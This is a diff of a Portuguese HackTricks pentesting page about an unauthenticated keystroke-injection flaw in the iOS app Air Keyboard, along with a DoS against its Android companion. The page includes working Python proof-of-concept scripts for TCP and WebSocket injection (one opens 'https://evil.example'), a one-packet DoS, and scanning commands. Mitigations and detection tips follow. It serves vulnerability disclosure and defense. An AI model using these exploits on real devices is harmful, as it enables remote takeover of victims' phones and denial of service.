diff --git a/src/mobile-pentesting/ios-pentesting/air-keyboard-remote-input-injection.md b/src/mobile-pentesting/ios-pentesting/air-keyboard-remote-input-injection.md index e771e06c0..a0c7ea340 100644 --- a/src/mobile-pentesting/ios-pentesting/air-keyboard-remote-input-injection.md +++ b/src/mobile-pentesting/ios-pentesting/air-keyboard-remote-input-injection.md @@ -1,18 +1,26 @@ -# Air Keyboard Remote Input Injection (Unauthenticated TCP Listener) +# Air Keyboard Remote Input Injection (Escuta TCP / WebSocket não autenticada) {{#include ../../banners/hacktricks-training.md}} ## TL;DR -A versão iOS do aplicativo comercial "Air Keyboard" (ID da App Store 6463187929) abre um **serviço TCP em texto claro na porta 8888** que aceita quadros de teclas **sem qualquer autenticação**. Qualquer dispositivo na mesma rede Wi-Fi pode se conectar a essa porta e injetar entrada de teclado arbitrária no telefone da vítima, alcançando **sequestro total de interação remota**. +A versão iOS do aplicativo comercial **“Air Keyboard”** (ID da App Store 6463187929) expõe um serviço de rede local que **aceita quadros de teclas sem qualquer autenticação ou verificação de origem**. Dependendo da versão instalada, o serviço é: -Uma versão Android acompanhante escuta na **porta 55535**. Ela realiza um handshake fraco AES-ECB, mas lixo elaborado causa uma **exceção não tratada na rotina de descriptografia do OpenSSL**, fazendo o serviço em segundo plano falhar (**DoS**). +* **≤ 1.0.4** – escuta TCP bruta na **porta 8888** que espera um cabeçalho de comprimento de 2 bytes seguido por um *device-id* e o payload ASCII. +* **≥ 1.0.5 (junho de 2025)** – escuta **WebSocket** na *mesma* porta (**8888**) que analisa chaves **JSON** como `{"type":1,"text":"…"}`. -## 1. Service Discovery +Qualquer dispositivo na mesma rede Wi-Fi / sub-rede pode, portanto, **injetar entrada de teclado arbitrária no telefone da vítima, conseguindo uma completa tomada de controle remoto**. +Uma versão Android acompanhante escuta na **porta 55535**. Ela realiza um handshake fraco AES-ECB, mas lixo elaborado ainda causa uma **exceção não tratada dentro do OpenSSL**, derrubando o serviço em segundo plano (**DoS**). + +> A vulnerabilidade está **ainda sem correção no momento da escrita (julho de 2025)** e o aplicativo continua disponível na App Store. + +--- + +## 1. Descoberta de Serviço Escaneie a rede local e procure as duas portas fixas usadas pelos aplicativos: ```bash -# iOS (input-injection) +# iOS (unauthenticated input-injection) nmap -p 8888 --open 192.168.1.0/24 # Android (weakly-authenticated service) @@ -20,72 +28,146 @@ nmap -p 55535 --open 192.168.1.0/24 ``` Nos dispositivos Android, você pode identificar o pacote responsável localmente: ```bash -adb shell netstat -tulpn | grep 55535 # no root required on emulator - +adb shell netstat -tulpn | grep 55535 # no root required on emulator # rooted device / Termux netstat -tulpn | grep LISTEN -ls -l /proc//cmdline # map PID → package name +ls -l /proc//cmdline # map PID → package name ``` -## 2. Formato de Quadro (iOS) +Em **iOS com jailbreak** você pode fazer algo semelhante com `lsof -i -nP | grep LISTEN | grep 8888`. -O binário revela a seguinte lógica de análise dentro da rotina `handleInputFrame()`: +--- + +## 2. Detalhes do Protocolo (iOS) + +### 2.1 Legado (≤ 1.0.4) – quadros binários personalizados ``` [length (2 bytes little-endian)] [device_id (1 byte)] [payload ASCII keystrokes] ``` -O comprimento declarado inclui o byte `device_id` **mas não** o cabeçalho de dois bytes. +O *comprimento* declarado inclui o byte `device_id` **mas não** o cabeçalho de dois bytes em si. + +### 2.2 Atual (≥ 1.0.5) – JSON sobre WebSocket + +A versão 1.0.5 migrou silenciosamente para WebSockets enquanto mantinha o número da porta inalterado. Um pressionamento de tecla mínimo se parece com: +```json +{ +"type": 1, // 1 = insert text, 2 = special key +"text": "open -a Calculator\n", +"mode": 0, +"shiftKey": false, +"selectionStart": 0, +"selectionEnd": 0 +} +``` +Nenhum handshake, token ou assinatura é necessário – o primeiro objeto JSON já aciona o evento da interface. + +--- ## 3. Exploração PoC + +### 3.1 Alvo ≤ 1.0.4 (TCP bruto) ```python #!/usr/bin/env python3 -"""Inject arbitrary keystrokes into Air Keyboard for iOS""" +"""Inject arbitrary keystrokes into Air Keyboard ≤ 1.0.4 (TCP mode)""" import socket, sys -target_ip = sys.argv[1] # e.g. 192.168.1.50 -keystrokes = b"open -a Calculator\n" # payload visible to the user +target_ip = sys.argv[1] # e.g. 192.168.1.50 +keystrokes = b"open -a Calculator\n" # payload visible to the user frame = bytes([(len(keystrokes)+1) & 0xff, (len(keystrokes)+1) >> 8]) -frame += b"\x01" # device_id = 1 (hard-coded) +frame += b"\x01" # device_id = 1 (hard-coded) frame += keystrokes with socket.create_connection((target_ip, 8888)) as s: s.sendall(frame) -print("Injected", keystrokes) +print("[+] Injected", keystrokes) ``` -Qualquer ASCII imprimível (incluindo `\n`, `\r`, teclas especiais, etc.) pode ser enviado, efetivamente concedendo ao atacante o mesmo poder que a entrada física do usuário: lançar aplicativos, enviar mensagens instantâneas, visitar URLs de phishing, etc. +### 3.2 Alvo ≥ 1.0.5 (WebSocket) +```python +#!/usr/bin/env python3 +"""Inject keystrokes into Air Keyboard ≥ 1.0.5 (WebSocket mode)""" +import json, sys, websocket # `pip install websocket-client` + +target_ip = sys.argv[1] +ws = websocket.create_connection(f"ws://{target_ip}:8888") +ws.send(json.dumps({ +"type": 1, +"text": "https://evil.example\n", +"mode": 0, +"shiftKey": False, +"selectionStart": 0, +"selectionEnd": 0 +})) +ws.close() +print("[+] URL opened on target browser") +``` +*Qualquer ASCII imprimível — incluindo quebras de linha, tabs e a maioria das teclas especiais — pode ser enviado, dando ao atacante o mesmo poder que a entrada física do usuário: lançar aplicativos, enviar mensagens instantâneas, abrir URLs maliciosas, alternar configurações, etc.* + +--- ## 4. Android Companion – Negação de Serviço -A porta Android (55535) espera uma senha de 4 caracteres criptografada com uma **chave AES-128-ECB codificada** seguida por um nonce aleatório. Erros de análise sobem para `AES_decrypt()` e não são capturados, encerrando a thread do listener. Um único pacote malformado é, portanto, suficiente para manter usuários legítimos desconectados até que o processo seja relançado. +A porta Android (55535) espera uma **senha de 4 caracteres criptografada com uma chave AES-128-ECB codificada** seguida por um nonce aleatório. Erros de análise sobem para `AES_decrypt()` e não são capturados, terminando a thread do listener. Portanto, um único pacote malformado é suficiente para manter usuários legítimos desconectados até que o processo seja relançado. ```python import socket socket.create_connection((victim, 55535)).send(b"A"*32) # minimal DoS ``` -## 5. Causa Raiz +--- -1. **Sem verificações de origem / integridade** em quadros recebidos (iOS). +## 5. Aplicativos Relacionados – Um Antipadrão Recorrente + +Air Keyboard **não é um caso isolado**. Outros utilitários móveis de “teclado/mouse remoto” foram lançados com a mesma falha: + +* **Telepad ≤ 1.0.7** – CVE-2022-45477/78 permite execução de comandos não autenticados e registro de teclas em texto simples. +* **PC Keyboard ≤ 30** – CVE-2022-45479/80 RCE não autenticado & espionagem de tráfego. +* **Lazy Mouse ≤ 2.0.1** – CVE-2022-45481/82/83 sem senha padrão, força bruta de PIN fraco e vazamento em texto claro. + +Esses casos destacam uma negligência sistêmica das **superfícies de ataque voltadas para a rede em aplicativos móveis**. + +--- + +## 6. Causas Raiz + +1. **Sem verificações de origem / integridade** em quadros de entrada (iOS). 2. **Uso indevido de criptografia** (chave estática, ECB, validação de comprimento ausente) e **falta de tratamento de exceções** (Android). +3. **Direito de Rede Local concedido pelo usuário ≠ segurança** – iOS solicita consentimento em tempo de execução para tráfego LAN, mas isso não substitui a autenticação adequada. -## 6. Mitigações & Ideias de Fortalecimento +--- -* Nunca exponha serviços não autenticados em um dispositivo móvel. -* Derive segredos por dispositivo durante o onboarding e verifique-os antes de processar a entrada. -* Vincule o listener a `127.0.0.1` e use um transporte autenticado mutuamente, criptografado (por exemplo, TLS, Noise) para controle remoto. -* Detecte portas abertas inesperadas durante revisões de segurança móvel (`netstat`, `lsof`, `frida-trace` em `socket()` etc.). -* Como usuário final: desinstale o Air Keyboard ou use-o apenas em redes Wi-Fi confiáveis e isoladas. +## 7. Medidas de Fortalecimento e Defesa -## Detecção Cheat-Sheet (Pentesters) +Recomendações para desenvolvedores: + +* Vincule o listener a **`127.0.0.1`** e use túnel sobre **mTLS** ou **Noise XX** se controle remoto for necessário. +* Derive **segredos por dispositivo durante o onboarding** (por exemplo, código QR ou PIN de emparelhamento) e imponha autenticação *mútua* antes de processar a entrada. +* Adote **Apple Network Framework** com *NWListener* + TLS em vez de sockets brutos. +* Implemente **verificações de sanidade de prefixo de comprimento** e tratamento estruturado de exceções ao descriptografar ou decodificar quadros. + +Vitórias rápidas para Blue-/Red-Team: + +* **Caça à rede:** `sudo nmap -n -p 8888,55535 --open 192.168.0.0/16` ou filtro do Wireshark `tcp.port == 8888`. +* **Inspeção em tempo de execução:** Script Frida conectando `socket()`/`NWConnection` para listar listeners inesperados. +* **Relatório de Privacidade de Aplicativos iOS (Configurações ▸ Privacidade & Segurança ▸ Relatório de Privacidade de Aplicativos)** destaca aplicativos que contatam endereços LAN – útil para identificar serviços maliciosos. +* **EDRs Móveis** podem adicionar regras simples de Yara-L para as chaves JSON `"selectionStart"`, `"selectionEnd"` dentro de cargas TCP em texto claro na porta 8888. + +--- + +## Folha de Dicas de Detecção (Pentesters) ```bash -# Quick one-liner to locate vulnerable devices in a /24 -nmap -n -p 8888,55535 --open 192.168.1.0/24 -oG - | awk '/Ports/{print $2,$3,$4}' +# Locate vulnerable devices in a /24 and print IP + list of open risky ports +nmap -n -p 8888,55535 --open 192.168.1.0/24 -oG - \ +| awk '/Ports/{print $2 " " $4}' # Inspect running sockets on a connected Android target -adb shell "for p in $(lsof -PiTCP -sTCP:LISTEN -n -t); do echo -n \"$p → "; cat /proc/$p/cmdline; done" +adb shell "for p in $(lsof -PiTCP -sTCP:LISTEN -n -t); do \ +echo -n \"$p → \"; cat /proc/$p/cmdline; done" ``` +--- + ## Referências -- [Vulnerabilidade de Injeção de Entrada Remota no App Air Keyboard iOS Ainda Não Corrigida](https://www.mobile-hacker.com/2025/07/17/remote-input-injection-vulnerability-in-air-keyboard-ios-app-still-unpatched/) -- [Aviso CXSecurity WLB-2025060015](https://cxsecurity.com/issue/WLB-2025060015) +- [Exploit-DB 52333 – Air Keyboard iOS App 1.0.5 Remote Input Injection](https://www.exploit-db.com/exploits/52333) +- [Mobile-Hacker Blog (17 Jul 2025) – Vulnerabilidade de Injeção de Entrada Remota no Air Keyboard iOS App Ainda Sem Correção](https://www.mobile-hacker.com/2025/07/17/remote-input-injection-vulnerability-in-air-keyboard-ios-app-still-unpatched/) {{#include ../../banners/hacktricks-training.md}}